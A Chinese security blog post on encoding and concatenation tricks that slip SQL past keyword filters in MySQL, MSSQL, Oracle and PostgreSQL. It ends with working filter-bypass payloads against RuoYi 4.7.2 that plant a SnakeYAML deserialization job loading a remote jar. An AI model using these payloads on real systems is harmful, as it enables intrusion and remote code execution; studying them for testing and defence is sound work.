点击蓝字
关注我们
声明
本文字数:约5000
阅读时长:13分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
SQL字符串逃逸的本质就是通过利用一些数据库特性来对需要执行的SQL语句进行字符串编码、拼接来绕过一些关键字检测,从而实现我们想要执行的SQL语句,以下列举了四个常用的数据库(MySQL、MSSQL、Oracle、Postgres)的一些利用方式。
实验环境:
在线数据库:https://www.db-fiddle.com/
1、mysql
(1)定义变量(https://dev.mysql.com/doc/refman/8.0/en/user-variables.html)
用户自定义变量时变量名需要加@
set
@var_name=expr
(2)字符串编码(参考https://dev.mysql.com/doc/refman/8.0/en/hexadecimal-literals.html)
十六进制编码:字符串部分的十六进制字母可大小写
-
abc
->0x616263
(0x的x不能用大写代替) -
abc
->X'616263'
-
abc
->x'616263'
(3)预编译执行
set
@a=
0x73656c65637420757365722829
prepare
stmt
from
@a;
execute
stmt;
-- 使用deallocate 释放自定义的
deallocate
prepare
stmt;
使用HEX对SQL语句编码
这里set定义的变量可用于所有会话
这里也可以在execute的时候传入参数,但是传入参数默认会预编译导致传入的参数不被执行,所以一开始就直接在自定义的变量里把执行的sql写好就行了。
2、MSSQL
由于MSSQL的SQL注入有较大的概率可以进行堆叠注入,所以如果实际环境拦截了一些关键字如xp_cmdshell
、select
可以通过自定义变量来绕过关键字检测。
参考:https://learn.microsoft.com/zh-cn/sql/t-sql/language-elements/variables-transact-sql?view=sql-server-ver15
declare限制了变量的作用范围,声明的变量只能当前会话执行有效,在有长度限制的条件时可能无法执行
dEcLaRe
@s
vArChAr
(
8000
)
sEt
@s=
0x73656c6563742064625f6e616d652829
eXeC(@s);
执行的语句必须在同一个会话里,否则就会执行失败。
这里声明的变量类型不能为text、ntext,而且用varchar、char时必须指定长度:
另外值得一提的是MSSQL的字符串拼接支持使用+
:
3、oracle
Oracle数据库在执行SQL语句的环境下无法创建变量:
-
define:sqlplus 环境(command窗口) 中用于定义变量, 适用于人机交互处理,或者sql脚本。 -
variable:plsql 匿名块中使用。非匿名块中不能使用。 -
declare:plsql 块中使用,适用于匿名块或者非匿名块。
字符串相关:unicode字符,需要借用UNISTR函数且不带u
字符串拼接:''||''
、concat函数 通过给字符串前加q可以忽略掉字符串内部的单引号,从而避免转义的问题
SELECT
q
'abc'
bcd
' FROM DUAL;
除此之外,我从Oracle官网文档里没有搜索到其他与字符串逃逸相关的内容了。
4、postgresql
(1)定义变量
postgresql 中可以使用一个自定义的参数,类似于变量,方便拓展调用,命名规则为name.name
,可以在不同会话中调用,但是调用该变量时需要使用current_setting('变量名')
来调用。官网链接:https://www.postgresql.org/docs/current/runtime-config-custom.html
set
my.var=E
'x73x65x6cx65x63x74x20x31'
-- 或者这样写也可以
set
my.var
to
E
'x73x65x6cx65x63x74x20x31'
--然后使用来调用变量
select
current_setting(
'my.var'
)
(2)预编译sql
postgres的prepare类似mysql的prepare写法,但是在引用变量时由于需要select current_setting()
来获取变量值,所以这里没办法像mysql一样直接prepare current_setting('')
prepare
my_stmt(
varchar
)
as
SELECT
usesuper
FROM
pg_user
WHERE
usename=$
1
;
EXECUTE
my_stmt(
'postgres'
);
--释放资源
deallocate
my_stmt;
(3)字符串编码&变形
postgresql有一个特性就是在字符串前加一个字母E(e),执行sql语句的时候会自动将字符串的内容进行编码转换,参考 https://www.postgresql.org/docs/9.0/sql-syntax-lexical.html
在mysql里十六进制串可以直接当做字符串,但是postgres里十六进制串只能当做数字常量 可以知道这个特性支持以下三种编码:
-
八进制编码:举例 select 1
编码转换就是E'1631451541451431644061'
-
十六进制编码:举例 select 1
编码转换就是E'x73x65x6cx65x63x74x20x31'
-
Unicode编码:举例 select 1
编码转换就是E'u0073u0065u006cu0065u0063u0074u0020u0031'
可以看出如果需要编码的字符串越长的话,八进制编码的字符串是最短的,然而因为每个字符编码之后都需要带一个
,这会不可避免得导致字符串变长。
除了这种用法之外就剩下函数调用了,比如说convert_from('x31')
,但是这个函数调用就可以只用一个x
,而使用E
解码的就不行。
对于单引号过滤的可以使用$$字符串$$
来代替,或者加个自定义的tag:$SomeTag$字符串$SomeTag$
select
$$字符串$$
-- 如果需要规避关键字检测,可以使用||来拼接
select
$$abc$$||$$
def
$$
这里提一个实战当中碰到的场景,之前在一次地市HW中碰到了一个使用postgres数据库的ruoyi系统,而且这个ruoyi也是4.7.2版本。这个版本对于yaml反序列化利用做了一些黑名单处理,但是可以通过spring的内置bean调用可以绕过,实际就是利用jdbcTemplate.execute()
可以执行SQL语句去执行update
从而直接从数据库层面修改掉调用的payload,具体可以看先知这篇文章 https://xz.aliyun.com/t/11336 这里具体介绍的是mysql的利用,然后mysql的语法不起作用,后续摸索了一段时间结合上文所述内容,可以构造如下payload:
利用的poc:
org.yaml.snakeyaml.Yaml.load(
'!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8080/123.jar"]]]]'
)
绕过payload1:
jdbcTemplate.execute(
"update sys_job set invoke_target=e'x6fx72x67x2ex79x61x6dx6cx2ex24x24x7cx7cx24x24x73x6ex61x6bx65x79x61x6dx6cx2ex59x61x6dx6cx2ex6cx6fx61x64x28x27x21x21x6ax61x76x61x78x2ex73x63x72x69x70x74x2ex53x63x72x69x70x74x45x6ex67x69x6ex65x4dx61x6ex61x67x65x72x20x5bx21x21x6ax61x76x61x2ex6ex65x74x2ex24x24x7cx7cx24x24x55x52x4cx43x6cx61x73x73x4cx6fx61x64x65x72x20x5bx5bx21x21x6ax61x76x61x2ex24x24x7cx7cx24x24x6ex65x74x2ex55x52x4cx20x5bx22x68x74x24x24x7cx7cx24x24x74x70x3ax2fx2fx31x32x37x2ex30x2ex30x2ex31x3ax38x30x38x30x2fx31x32x33x2ex6ax61x72x22x5dx5dx5dx5dx27x29' where job_id=7;"
)
这里我在本地搭建了一个环境,数据库结构基本保持不变,由于数据库默认配置字段长度为500,所以该payload太长导致无法保存到数据库里,也就没有办法执行触发了。
绕过payload2:
因为代码里做了黑名单类名检查,所以需要payload需要绕过java.net.URL
、org.yaml.snakeyaml
,然后还有一个http
的关键字检查也需要绕过
但是由于ruoyi代码处理传参时会从第一个)
截断,如果我们的payload里带有)
的话会导致参数内容不完整,这里也需要把)
做下编码处理
jdbcTemplate.execute(
"update sys_job set invoke_target=e'org.yamlx2esnakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.netx2eURLClassLoader [[!!java.netx2eURL ["
htx74p://
127.0
.0
.1
:
8080
/
123.
jar
"]]]]'x29' where job_id=7;"
)
执行前修改字符串:
执行后修改成功了
绕过payload3:
利用$$字符串拼接可以忽略掉单引号转义的问题:
jdbcTemplate.execute(
"update sys_job set invoke_target=$$org.yaml.$$||$$snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.$$ || $$URLClassLoader [[!!java.$$||$$net.URL ["
ht$$||$$tp://
127.0
.0
.1
:
8080
/
123.
jar
"]]]]'$$||e'x29' where job_id=7;"
)
以上就是yaml反序列化的利用poc了,如果想看到SQL语句执行的回显的话,感觉目前是没法做到的,因为回显的poc如下,可以看到回显也是执行update带一个子查询,但是子查询带有)
会导致参数被截断,而子查询不带括号的话是没法执行的。
jdbcTemplate.execute(
"update sys_job set invoke_target=(select 1) where job_id=8;"
)
参考链接
-
https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#strings-in-hex
作者
flashine
一命二运三风水,四积功德五读书
原文始发于微信公众号(WgpSec狼组安全团队):SQL字符串逃逸
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论